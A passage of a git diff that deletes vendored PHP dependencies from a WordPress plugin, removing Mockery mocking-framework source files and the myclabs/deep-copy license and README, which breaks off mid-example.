(!method_exists($this, $name) && $this->_mockery_parentClass && method_exists($this->_mockery_parentClass, '__call')) { - return call_user_func($this->_mockery_parentClass . '::__call', $name, $args); - } - - return call_user_func_array($this->_mockery_parentClass . '::' . $name, $args); - } - - /** - * @return string[] - */ - public function mockery_getMockableMethods() - { - return $this->_mockery_mockableMethods; - } - - /** - * @return bool - */ - public function mockery_isAnonymous() - { - $rfc = new \ReflectionClass($this); - - // PHP 8 has Stringable interface - $interfaces = array_filter($rfc->getInterfaces(), static function ($i) { - return $i->getName() !== 'Stringable'; - }); - - return false === $rfc->getParentClass() && 2 === count($interfaces); - } - - public function mockery_isInstance() - { - return $this->_mockery_instanceMock; - } - - public function __wakeup() - { - /** - * This does not add __wakeup method support. It's a blind method and any - * expected __wakeup work will NOT be performed. It merely cuts off - * annoying errors where a __wakeup exists but is not essential when - * mocking - */ - } - - public function __destruct() - { - /** - * Overrides real class destructor in case if class was created without original constructor - */ - } - - public function mockery_getMethod($name) - { - foreach ($this->mockery_getMethods() as $method) { - if ($method->getName() == $name) { - return $method; - } - } - - return null; - } - - /** - * @param string $name Method name. - * - * @return mixed Generated return value based on the declared return value of the named method. - */ - public function mockery_returnValueForMethod($name) - { - $rm = $this->mockery_getMethod($name); - - if ($rm === null) { - return null; - } - - $returnType = Reflector::getSimplestReturnType($rm); - - switch ($returnType) { - case null: return null; - case 'string': return ''; - case 'int': return 0; - case 'float': return 0.0; - case 'bool': return false; - case 'true': return true; - case 'false': return false; - - case 'array': - case 'iterable': - return []; - - case 'callable': - case '\Closure': - return static function () : void { - }; - - case '\Traversable': - case '\Generator': - $generator = static function () { - yield; - }; - return $generator(); - - case 'void': - return null; - - case 'static': - return $this; - - case 'object': - $mock = \Mockery::mock(); - if ($this->_mockery_ignoreMissingRecursive) { - $mock->shouldIgnoreMissing($this->_mockery_defaultReturnValue, true); - } - - return $mock; - - default: - $mock = \Mockery::mock($returnType); - if ($this->_mockery_ignoreMissingRecursive) { - $mock->shouldIgnoreMissing($this->_mockery_defaultReturnValue, true); - } - - return $mock; - } - } - - public function shouldHaveReceived($method = null, $args = null) - { - if ($method === null) { - return new HigherOrderMessage($this, 'shouldHaveReceived'); - } - - $expectation = new VerificationExpectation($this, $method); - if (null !== $args) { - $expectation->withArgs($args); - } - - $expectation->atLeast()->once(); - $director = new VerificationDirector($this->_mockery_getReceivedMethodCalls(), $expectation); - ++$this->_mockery_expectations_count; - $director->verify(); - return $director; - } - - public function shouldHaveBeenCalled() - { - return $this->shouldHaveReceived('__invoke'); - } - - public function shouldNotHaveReceived($method = null, $args = null) - { - if ($method === null) { - return new HigherOrderMessage($this, 'shouldNotHaveReceived'); - } - - $expectation = new VerificationExpectation($this, $method); - if (null !== $args) { - $expectation->withArgs($args); - } - - $expectation->never(); - $director = new VerificationDirector($this->_mockery_getReceivedMethodCalls(), $expectation); - ++$this->_mockery_expectations_count; - $director->verify(); - return null; - } - - public function shouldNotHaveBeenCalled(?array $args = null) - { - return $this->shouldNotHaveReceived('__invoke', $args); - } - - protected static function _mockery_handleStaticMethodCall($method, array $args) - { - $associatedRealObject = \Mockery::fetchMock(self::class); - try { - return $associatedRealObject->__call($method, $args); - } catch (BadMethodCallException $badMethodCallException) { - throw new BadMethodCallException( - 'Static method ' . $associatedRealObject->mockery_getName() . '::' . $method - . '() does not exist on this mock object', - 0, - $badMethodCallException - ); - } - } - - protected function _mockery_getReceivedMethodCalls() - { - return $this->_mockery_receivedMethodCalls ?: $this->_mockery_receivedMethodCalls = new ReceivedMethodCalls(); - } - - /** - * Called when an instance Mock was created and its constructor is getting called - * - * @see \Mockery\Generator\StringManipulation\Pass\InstanceMockPass - * @param array $args - */ - protected function _mockery_constructorCalled(array $args) - { - if (!isset($this->_mockery_expectations['__construct']) /* _mockery_handleMethodCall runs the other checks */) { - return; - } - - $this->_mockery_handleMethodCall('__construct', $args); - } - - protected function _mockery_findExpectedMethodHandler($method) - { - if (isset($this->_mockery_expectations[$method])) { - return $this->_mockery_expectations[$method]; - } - - $lowerCasedMockeryExpectations = array_change_key_case($this->_mockery_expectations, CASE_LOWER); - $lowerCasedMethod = strtolower($method); - - return $lowerCasedMockeryExpectations[$lowerCasedMethod] ?? null; - } - - protected function _mockery_handleMethodCall($method, array $args) - { - $this->_mockery_getReceivedMethodCalls()->push(new MethodCall($method, $args)); - - $rm = $this->mockery_getMethod($method); - if ($rm && $rm->isProtected() && !$this->_mockery_allowMockingProtectedMethods) { - if ($rm->isAbstract()) { - return; - } - - try { - $prototype = $rm->getPrototype(); - if ($prototype->isAbstract()) { - return; - } - } catch (\ReflectionException $re) { - // noop - there is no hasPrototype method - } - - if (null === $this->_mockery_parentClass) { - $this->_mockery_parentClass = get_parent_class($this); - } - - return call_user_func_array($this->_mockery_parentClass . '::' . $method, $args); - } - - $handler = $this->_mockery_findExpectedMethodHandler($method); - - if ($handler !== null && !$this->_mockery_disableExpectationMatching) { - try { - return $handler->call($args); - } catch (NoMatchingExpectationException $e) { - if (!$this->_mockery_ignoreMissing && !$this->_mockery_deferMissing) { - throw $e; - } - } - } - - if (!is_null($this->_mockery_partial) && - (method_exists($this->_mockery_partial, $method) || method_exists($this->_mockery_partial, '__call'))) { - return $this->_mockery_partial->{$method}(...$args); - } - - if ($this->_mockery_deferMissing && is_callable($this->_mockery_parentClass . '::' . $method) - && (!$this->hasMethodOverloadingInParentClass() || ($this->_mockery_parentClass && method_exists($this->_mockery_parentClass, $method)))) { - return call_user_func_array($this->_mockery_parentClass . '::' . $method, $args); - } - - if ($this->_mockery_deferMissing && $this->_mockery_parentClass && method_exists($this->_mockery_parentClass, '__call')) { - return call_user_func($this->_mockery_parentClass . '::__call', $method, $args); - } - - if ($method === '__toString') { - // __toString is special because we force its addition to the class API regardless of the - // original implementation. Thus, we should always return a string rather than honor - // _mockery_ignoreMissing and break the API with an error. - return sprintf('%s#%s', self::class, spl_object_hash($this)); - } - - if ($this->_mockery_ignoreMissing && (\Mockery::getConfiguration()->mockingNonExistentMethodsAllowed() || (!is_null($this->_mockery_partial) && method_exists($this->_mockery_partial, $method)) || is_callable($this->_mockery_parentClass . '::' . $method))) { - if ($this->_mockery_defaultReturnValue instanceof Undefined) { - return $this->_mockery_defaultReturnValue->{$method}(...$args); - } - - if (null === $this->_mockery_defaultReturnValue) { - return $this->mockery_returnValueForMethod($method); - } - - return $this->_mockery_defaultReturnValue; - } - - $message = 'Method ' . self::class . '::' . $method . - '() does not exist on this mock object'; - - if (!is_null($rm)) { - $message = 'Received ' . self::class . - '::' . $method . '(), but no expectations were specified'; - } - - $bmce = new BadMethodCallException($message); - $this->_mockery_thrownExceptions[] = $bmce; - throw $bmce; - } - - /** - * Uses reflection to get the list of all - * methods within the current mock object - * - * @return array - */ - protected function mockery_getMethods() - { - if (static::$_mockery_methods && \Mockery::getConfiguration()->reflectionCacheEnabled()) { - return static::$_mockery_methods; - } - - if ($this->_mockery_partial !== null) { - $reflected = new \ReflectionObject($this->_mockery_partial); - } else { - $reflected = new \ReflectionClass($this); - } - - return static::$_mockery_methods = $reflected->getMethods(); - } - - private function hasMethodOverloadingInParentClass() - { - // if there's __call any name would be callable - return is_callable($this->_mockery_parentClass . '::aFunctionNameThatNoOneWouldEverUseInRealLife12345'); - } - - /** - * @return array - */ - private function getNonPublicMethods() - { - return array_map( - static function ($method) { - return $method->getName(); - }, - array_filter($this->mockery_getMethods(), static function ($method) { - return !$method->isPublic(); - }) - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/MockInterface.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/MockInterface.php deleted file mode 100644 index 9dc53647..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/MockInterface.php +++ /dev/null @@ -1,28 +0,0 @@ - return - * - * @return Expectation|ExpectationInterface|HigherOrderMessage|self - */ - public function allows($something = []); - - /** - * @param mixed $something String method name (optional) - * - * @return Expectation|ExpectationInterface|ExpectsHigherOrderMessage - */ - public function expects($something = null); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/QuickDefinitionsConfiguration.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/QuickDefinitionsConfiguration.php deleted file mode 100644 index aef28b77..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/QuickDefinitionsConfiguration.php +++ /dev/null @@ -1,47 +0,0 @@ -_quickDefinitionsApplicationMode = $newValue - ? self::QUICK_DEFINITIONS_MODE_MOCK_AT_LEAST_ONCE - : self::QUICK_DEFINITIONS_MODE_DEFAULT_EXPECTATION; - } - - return $this->_quickDefinitionsApplicationMode === self::QUICK_DEFINITIONS_MODE_MOCK_AT_LEAST_ONCE; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ReceivedMethodCalls.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ReceivedMethodCalls.php deleted file mode 100644 index 4ec1c67f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ReceivedMethodCalls.php +++ /dev/null @@ -1,38 +0,0 @@ -methodCalls[] = $methodCall; - } - - public function verify(Expectation $expectation) - { - foreach ($this->methodCalls as $methodCall) { - if ($methodCall->getMethod() !== $expectation->getName()) { - continue; - } - - if (! $expectation->matchArgs($methodCall->getArgs())) { - continue; - } - - $expectation->verifyCall($methodCall->getArgs()); - } - - $expectation->verify(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Reflector.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Reflector.php deleted file mode 100644 index 8e4fc158..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Reflector.php +++ /dev/null @@ -1,316 +0,0 @@ - - */ - public const BUILTIN_TYPES = ['array', 'bool', 'int', 'float', 'null', 'object', 'string']; - - /** - * List of reserved words. - * - * @var list - */ - public const RESERVED_WORDS = ['bool', 'true', 'false', 'float', 'int', 'iterable', 'mixed', 'never', 'null', 'object', 'string', 'void']; - - /** - * Iterable. - * - * @var list - */ - private const ITERABLE = ['iterable']; - - /** - * Traversable array. - * - * @var list - */ - private const TRAVERSABLE_ARRAY = ['\Traversable', 'array']; - - /** - * Compute the string representation for the return type. - * - * @param bool $withoutNullable - * - * @return null|string - */ - public static function getReturnType(ReflectionMethod $method, $withoutNullable = false) - { - $type = $method->getReturnType(); - - if (! $type instanceof ReflectionType && method_exists($method, 'getTentativeReturnType')) { - $type = $method->getTentativeReturnType(); - } - - if (! $type instanceof ReflectionType) { - return null; - } - - $typeHint = self::getTypeFromReflectionType($type, $method->getDeclaringClass()); - - return (! $withoutNullable && $type->allowsNull()) ? self::formatNullableType($typeHint) : $typeHint; - } - - /** - * Compute the string representation for the simplest return type. - * - * @return null|string - */ - public static function getSimplestReturnType(ReflectionMethod $method) - { - $type = $method->getReturnType(); - - if (! $type instanceof ReflectionType && method_exists($method, 'getTentativeReturnType')) { - $type = $method->getTentativeReturnType(); - } - - if (! $type instanceof ReflectionType || $type->allowsNull()) { - return null; - } - - $typeInformation = self::getTypeInformation($type, $method->getDeclaringClass()); - - // return the first primitive type hint - foreach ($typeInformation as $info) { - if ($info['isPrimitive']) { - return $info['typeHint']; - } - } - - // if no primitive type, return the first type - foreach ($typeInformation as $info) { - return $info['typeHint']; - } - - return null; - } - - /** - * Compute the string representation for the paramater type. - * - * @param bool $withoutNullable - * - * @return null|string - */ - public static function getTypeHint(ReflectionParameter $param, $withoutNullable = false) - { - if (! $param->hasType()) { - return null; - } - - $type = $param->getType(); - $declaringClass = $param->getDeclaringClass(); - $typeHint = self::getTypeFromReflectionType($type, $declaringClass); - - return (! $withoutNullable && $type->allowsNull()) ? self::formatNullableType($typeHint) : $typeHint; - } - - /** - * Determine if the parameter is typed as an array. - * - * @return bool - */ - public static function isArray(ReflectionParameter $param) - { - $type = $param->getType(); - - return $type instanceof ReflectionNamedType && $type->getName(); - } - - /** - * Determine if the given type is a reserved word. - */ - public static function isReservedWord(string $type): bool - { - return in_array(strtolower($type), self::RESERVED_WORDS, true); - } - - /** - * Format the given type as a nullable type. - */ - private static function formatNullableType(string $typeHint): string - { - if ($typeHint === 'mixed') { - return $typeHint; - } - - if (strpos($typeHint, 'null') !== false) { - return $typeHint; - } - - if (PHP_VERSION_ID < 80000) { - return sprintf('?%s', $typeHint); - } - - return sprintf('%s|null', $typeHint); - } - - private static function getTypeFromReflectionType(ReflectionType $type, ReflectionClass $declaringClass): string - { - if ($type instanceof ReflectionNamedType) { - $typeHint = $type->getName(); - - if ($type->isBuiltin()) { - return $typeHint; - } - - if ($typeHint === 'static') { - return $typeHint; - } - - // 'self' needs to be resolved to the name of the declaring class - if ($typeHint === 'self') { - $typeHint = $declaringClass->getName(); - } - - // 'parent' needs to be resolved to the name of the parent class - if ($typeHint === 'parent') { - $typeHint = $declaringClass->getParentClass()->getName(); - } - - // class names need prefixing with a slash - return sprintf('\\%s', $typeHint); - } - - if ($type instanceof ReflectionIntersectionType) { - $types = array_map( - static function (ReflectionType $type) use ($declaringClass): string { - return self::getTypeFromReflectionType($type, $declaringClass); - }, - $type->getTypes() - ); - - return implode('&', $types); - } - - if ($type instanceof ReflectionUnionType) { - $types = array_map( - static function (ReflectionType $type) use ($declaringClass): string { - return self::getTypeFromReflectionType($type, $declaringClass); - }, - $type->getTypes() - ); - - $intersect = array_intersect(self::TRAVERSABLE_ARRAY, $types); - if ($intersect === self::TRAVERSABLE_ARRAY) { - $types = array_merge(self::ITERABLE, array_diff($types, self::TRAVERSABLE_ARRAY)); - } - - return implode( - '|', - array_map( - static function (string $type): string { - return strpos($type, '&') === false ? $type : sprintf('(%s)', $type); - }, - $types - ) - ); - } - - throw new InvalidArgumentException('Unknown ReflectionType: ' . get_debug_type($type)); - } - - /** - * Get the string representation of the given type. - * - * @return list - */ - private static function getTypeInformation(ReflectionType $type, ReflectionClass $declaringClass): array - { - // PHP 8 union types and PHP 8.1 intersection types can be recursively processed - if ($type instanceof ReflectionUnionType || $type instanceof ReflectionIntersectionType) { - $types = []; - - foreach ($type->getTypes() as $innterType) { - foreach (self::getTypeInformation($innterType, $declaringClass) as $info) { - if ($info['typeHint'] === 'null' && $info['isPrimitive']) { - continue; - } - - $types[] = $info; - } - } - - return $types; - } - - // $type must be an instance of \ReflectionNamedType - $typeHint = $type->getName(); - - // builtins can be returned as is - if ($type->isBuiltin()) { - return [ - [ - 'typeHint' => $typeHint, - 'isPrimitive' => in_array($typeHint, self::BUILTIN_TYPES, true), - ], - ]; - } - - // 'static' can be returned as is - if ($typeHint === 'static') { - return [ - [ - 'typeHint' => $typeHint, - 'isPrimitive' => false, - ], - ]; - } - - // 'self' needs to be resolved to the name of the declaring class - if ($typeHint === 'self') { - $typeHint = $declaringClass->getName(); - } - - // 'parent' needs to be resolved to the name of the parent class - if ($typeHint === 'parent') { - $typeHint = $declaringClass->getParentClass()->getName(); - } - - // class names need prefixing with a slash - return [ - [ - 'typeHint' => sprintf('\\%s', $typeHint), - 'isPrimitive' => false, - ], - ]; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Undefined.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Undefined.php deleted file mode 100644 index ca3ace46..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Undefined.php +++ /dev/null @@ -1,39 +0,0 @@ -receivedMethodCalls = $receivedMethodCalls; - $this->expectation = $expectation; - } - - /** - * @return self - */ - public function atLeast() - { - return $this->cloneWithoutCountValidatorsApplyAndVerify('atLeast', []); - } - - /** - * @return self - */ - public function atMost() - { - return $this->cloneWithoutCountValidatorsApplyAndVerify('atMost', []); - } - - /** - * @param int $minimum - * @param int $maximum - * - * @return self - */ - public function between($minimum, $maximum) - { - return $this->cloneWithoutCountValidatorsApplyAndVerify('between', [$minimum, $maximum]); - } - - /** - * @return self - */ - public function once() - { - return $this->cloneWithoutCountValidatorsApplyAndVerify('once', []); - } - - /** - * @param int $limit - * - * @return self - */ - public function times($limit = null) - { - return $this->cloneWithoutCountValidatorsApplyAndVerify('times', [$limit]); - } - - /** - * @return self - */ - public function twice() - { - return $this->cloneWithoutCountValidatorsApplyAndVerify('twice', []); - } - - public function verify() - { - $this->receivedMethodCalls->verify($this->expectation); - } - - /** - * @template TArgs - * - * @param TArgs $args - * - * @return self - */ - public function with(...$args) - { - return $this->cloneApplyAndVerify('with', $args); - } - - /** - * @return self - */ - public function withAnyArgs() - { - return $this->cloneApplyAndVerify('withAnyArgs', []); - } - - /** - * @template TArgs - * - * @param TArgs $args - * - * @return self - */ - public function withArgs($args) - { - return $this->cloneApplyAndVerify('withArgs', [$args]); - } - - /** - * @return self - */ - public function withNoArgs() - { - return $this->cloneApplyAndVerify('withNoArgs', []); - } - - /** - * @param string $method - * @param array $args - * - * @return self - */ - protected function cloneApplyAndVerify($method, $args) - { - $verificationExpectation = clone $this->expectation; - - $verificationExpectation->{$method}(...$args); - - $verificationDirector = new self($this->receivedMethodCalls, $verificationExpectation); - - $verificationDirector->verify(); - - return $verificationDirector; - } - - /** - * @param string $method - * @param array $args - * - * @return self - */ - protected function cloneWithoutCountValidatorsApplyAndVerify($method, $args) - { - $verificationExpectation = clone $this->expectation; - - $verificationExpectation->clearCountValidators(); - - $verificationExpectation->{$method}(...$args); - - $verificationDirector = new self($this->receivedMethodCalls, $verificationExpectation); - - $verificationDirector->verify(); - - return $verificationDirector; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/VerificationExpectation.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/VerificationExpectation.php deleted file mode 100644 index 9e36f6c6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/VerificationExpectation.php +++ /dev/null @@ -1,29 +0,0 @@ -_actualCount = 0; - } - - /** - * @return void - */ - public function clearCountValidators() - { - $this->_countValidators = []; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/helpers.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/helpers.php deleted file mode 100644 index 8f15857a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/helpers.php +++ /dev/null @@ -1,77 +0,0 @@ -|TMock|Closure(LegacyMockInterface&MockInterface&TMock):LegacyMockInterface&MockInterface&TMock|array> $args - * - * @return LegacyMockInterface&MockInterface&TMock - */ - function mock(...$args) - { - return Mockery::mock(...$args); - } -} - -if (! \function_exists('spy')) { - /** - * @template TSpy of object - * - * @param array|TSpy|Closure(LegacyMockInterface&MockInterface&TSpy):LegacyMockInterface&MockInterface&TSpy|array> $args - * - * @return LegacyMockInterface&MockInterface&TSpy - */ - function spy(...$args) - { - return Mockery::spy(...$args); - } -} - -if (! \function_exists('namedMock')) { - /** - * @template TNamedMock of object - * - * @param array|TNamedMock|array> $args - * - * @return LegacyMockInterface&MockInterface&TNamedMock - */ - function namedMock(...$args) - { - return Mockery::namedMock(...$args); - } -} - -if (! \function_exists('anyArgs')) { - function anyArgs(): AnyArgs - { - return new AnyArgs(); - } -} - -if (! \function_exists('andAnyOtherArgs')) { - function andAnyOtherArgs(): AndAnyOtherArgs - { - return new AndAnyOtherArgs(); - } -} - -if (! \function_exists('andAnyOthers')) { - function andAnyOthers(): AndAnyOtherArgs - { - return new AndAnyOtherArgs(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/LICENSE deleted file mode 100644 index c3e83500..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/LICENSE +++ /dev/null @@ -1,20 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2013 My C-Sense - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -the Software, and to permit persons to whom the Software is furnished to do so, -subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/README.md deleted file mode 100644 index 88ae14cc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/README.md +++ /dev/null @@ -1,406 +0,0 @@ -# DeepCopy - -DeepCopy helps you create deep copies (clones) of your objects. It is designed to handle cycles in the association graph. - -[![Total Downloads](https://poser.pugx.org/myclabs/deep-copy/downloads.svg)](https://packagist.org/packages/myclabs/deep-copy) -[![Integrate](https://github.com/myclabs/DeepCopy/actions/workflows/ci.yaml/badge.svg?branch=1.x)](https://github.com/myclabs/DeepCopy/actions/workflows/ci.yaml) - -## Table of Contents - -1. [How](#how) -1. [Why](#why) - 1. [Using simply `clone`](#using-simply-clone) - 1. [Overriding `__clone()`](#overriding-__clone) - 1. [With `DeepCopy`](#with-deepcopy) -1. [How it works](#how-it-works) -1. [Going further](#going-further) - 1. [Matchers](#matchers) - 1. [Property name](#property-name) - 1. [Specific property](#specific-property) - 1. [Type](#type) - 1. [Filters](#filters) - 1. [`SetNullFilter`](#setnullfilter-filter) - 1. [`KeepFilter`](#keepfilter-filter) - 1. [`DoctrineCollectionFilter`](#doctrinecollectionfilter-filter) - 1. [`DoctrineEmptyCollectionFilter`](#doctrineemptycollectionfilter-filter) - 1. [`DoctrineProxyFilter`](#doctrineproxyfilter-filter) - 1. [`ReplaceFilter`](#replacefilter-type-filter) - 1. [`ShallowCopyFilter`](#shallowcopyfilter-type-filter) -1. [Edge cases](#edge-cases) -1. [Contributing](#contributing) - 1. [Tests](#tests) - - -## How? - -Install with Composer: - -``` -composer require myclabs/deep-copy -``` - -Use it: - -```php -use DeepCopy\DeepCopy; - -$copier = new DeepCopy(); -$myCopy = $copier->copy($myObject); -``` - - -## Why? - -- How do you create copies of your objects? - -```php -$myCopy = clone $myObject; -``` - -- How do you create **deep** copies of your objects (i.e. copying also all the objects referenced in the properties)? - -You use [`__clone()`](http://www.php.net/manual/en/language.oop5.cloning.php#object.clone) and implement the behavior -yourself. - -- But how do you handle **cycles** in the association graph? - -Now you're in for a big mess :( - -![association graph](doc/graph.png) - - -### Using simply `clone` - -![Using clone](doc/clone.png) - - -### Overriding `__clone()` - -![Overriding __clone](doc/deep-clone.png) - - -### With `DeepCopy` - -![With DeepCopy](doc/deep-copy.png) - - -## How it works - -DeepCopy recursively traverses all the object's properties and clones them. To avoid cloning the same object twice it -keeps a hash map of all instances and thus preserves the object graph. - -To use it: - -```php -use function DeepCopy\deep_copy; - -$copy = deep_copy($var); -``` - -Alternatively, you can create your own `DeepCopy` instance to configure it differently for example: - -```php -use DeepCopy\DeepCopy; - -$copier = new DeepCopy(true); - -$copy = $copier->copy($var); -``` - -You may want to roll your own deep copy function: - -```php -namespace Acme; - -use DeepCopy\DeepCopy; - -function deep_copy($var) -{ - static $copier = null; - - if (null === $copier) { - $copier = new DeepCopy(true); - } - - return $copier->copy($var); -} -``` - - -## Going further - -You can add filters to customize the copy process. - -The method to add a filter is `DeepCopy\DeepCopy::addFilter($filter, $matcher)`, -with `$filter` implementing `DeepCopy\Filter\Filter` -and `$matcher` implementing `DeepCopy\Matcher\Matcher`. - -We provide some generic filters and matchers. - - -### Matchers - - - `DeepCopy\Matcher` applies on a object attribute. - - `DeepCopy\TypeMatcher` applies on any element found in graph, including array elements. - - -#### Property name - -The `PropertyNameMatcher` will match a property by its name: - -```php -use DeepCopy\Matcher\PropertyNameMatcher; - -// Will apply a filter to any property of any objects named "id" -$matcher = new PropertyNameMatcher('id'); -``` - - -#### Specific property - -The `PropertyMatcher` will match a specific property of a specific class: - -```php -use DeepCopy\Matcher\PropertyMatcher; - -// Will apply a filter to the property "id" of any objects of the class "MyClass" -$matcher = new PropertyMatcher('MyClass', 'id'); -``` - - -#### Type - -The `TypeMatcher` will match any element by its type (instance of a class or any value that could be parameter of -[gettype()](http://php.net/manual/en/function.gettype.php) function): - -```php -use DeepCopy\TypeMatcher\TypeMatcher; - -// Will apply a filter to any object that is an instance of Doctrine\Common\Collections\Collection -$matcher = new TypeMatcher('Doctrine\Common\Collections\Collection'); -``` - - -### Filters - -- `DeepCopy\Filter` applies a transformation to the object attribute matched by `DeepCopy\Matcher` -- `DeepCopy\TypeFilter` applies a transformation to any element matched by `DeepCopy\TypeMatcher` - -By design, matching a filter will stop the chain of filters (i.e. the next ones will not be applied). -Using the ([`ChainableFilter`](#chainablefilter-filter)) won't stop the chain of filters. - - -#### `SetNullFilter` (filter) - -Let's say for example that you are copying a database record (or a Doctrine entity), so you want the copy not to have -any ID: - -```php -use DeepCopy\DeepCopy; -use DeepCopy\Filter\SetNullFilter; -use DeepCopy\Matcher\PropertyNameMatcher; - -$object = MyClass::load(123); -echo $object->id; // 123 - -$copier = new DeepCopy(); -$copier->addFilter(new SetNullFilter(), new PropertyNameMatcher('id')); - -$copy = $copier->copy($object); - -echo $copy->id; // null -``` - - -#### `KeepFilter` (filter) - -If you want a property to remain untouched (for example, an association to an object): - -```php -use DeepCopy\DeepCopy; -use DeepCopy\Filter\KeepFilter; -use DeepCopy\Matcher\PropertyMatcher; - -$copier = new DeepCopy(); -$copier->addFilter(new KeepFilter(), new PropertyMatcher('MyClass', 'category')); - -$copy = $copier->copy($object); -// $copy->category has not been touched -``` - - -#### `ChainableFilter` (filter) - -If you use cloning on proxy classes, you might want to apply two filters for: -1. loading the data -2. applying a transformation - -You can use the `ChainableFilter` as a decorator of the proxy loader filter, which won't stop the chain of filters (i.e. -the next ones may be applied). - - -```php -use DeepCopy\DeepCopy; -use DeepCopy\Filter\ChainableFilter; -use DeepCopy\Filter\Doctrine\DoctrineProxyFilter; -use DeepCopy\Filter\SetNullFilter; -use DeepCopy\Matcher\Doctrine\DoctrineProxyMatcher; -use DeepCopy\Matcher\PropertyNameMatcher; - -$copier = new DeepCopy(); -$copier->addFilter(new ChainableFilter(new DoctrineProxyFilter()), new DoctrineProxyMatcher()); -$copier->addFilter(new SetNullFilter(), new PropertyNameMatcher('id')); - -$copy = $copier->copy($object); - -echo $copy->id; // null -``` - - -#### `DoctrineCollectionFilter` (filter) - -If you use Doctrine and want to copy an entity, you will need to use the `DoctrineCollectionFilter`: - -```php -use DeepCopy\DeepCopy; -use DeepCopy\Filter\Doctrine\DoctrineCollectionFilter; -use DeepCopy\Matcher\PropertyTypeMatcher; - -$copier = new DeepCopy(); -$copier->addFilter(new DoctrineCollectionFilter(), new PropertyTypeMatcher('Doctrine\Common\Collections\Collection')); - -$copy = $copier->copy($object); -``` - - -#### `DoctrineEmptyCollectionFilter` (filter) - -If you use Doctrine and want to copy an entity who contains a `Collection` that you want to be reset, you can use the -`DoctrineEmptyCollectionFilter` - -```php -use DeepCopy\DeepCopy; -use DeepCopy\Filter\Doctrine\DoctrineEmptyCollectionFilter; -use DeepCopy\Matcher\PropertyMatcher; - -$copier = new DeepCopy(); -$copier->addFilter(new DoctrineEmptyCollectionFilter(), new PropertyMatcher('MyClass', 'myProperty')); - -$copy = $copier->copy($object); - -// $copy->myProperty will return an empty collection -``` - - -#### `DoctrineProxyFilter` (filter) - -If you use Doctrine and use cloning on lazy loaded entities, you might encounter errors mentioning missing fields on a -Doctrine proxy class (...\\\_\_CG\_\_\Proxy). -You can use the `DoctrineProxyFilter` to load the actual entity behind the Doctrine proxy class. -**Make sure, though, to put this as one of your very first filters in the filter chain so that the entity is loaded -before other filters are applied!** -We recommend to decorate the `DoctrineProxyFilter` with the `ChainableFilter` to allow applying other filters to the -cloned lazy loaded entities. - -```php -use DeepCopy\DeepCopy; -use DeepCopy\Filter\Doctrine\DoctrineProxyFilter; -use DeepCopy\Matcher\Doctrine\DoctrineProxyMatcher; - -$copier = new DeepCopy(); -$copier->addFilter(new ChainableFilter(new DoctrineProxyFilter()), new DoctrineProxyMatcher()); - -$copy = $copier->copy($object); - -// $copy should now contain a clone of all entities, including those that were not yet fully loaded. -``` - - -#### `ReplaceFilter` (type filter) - -1. If you want to replace the value of a property: - -```php -use 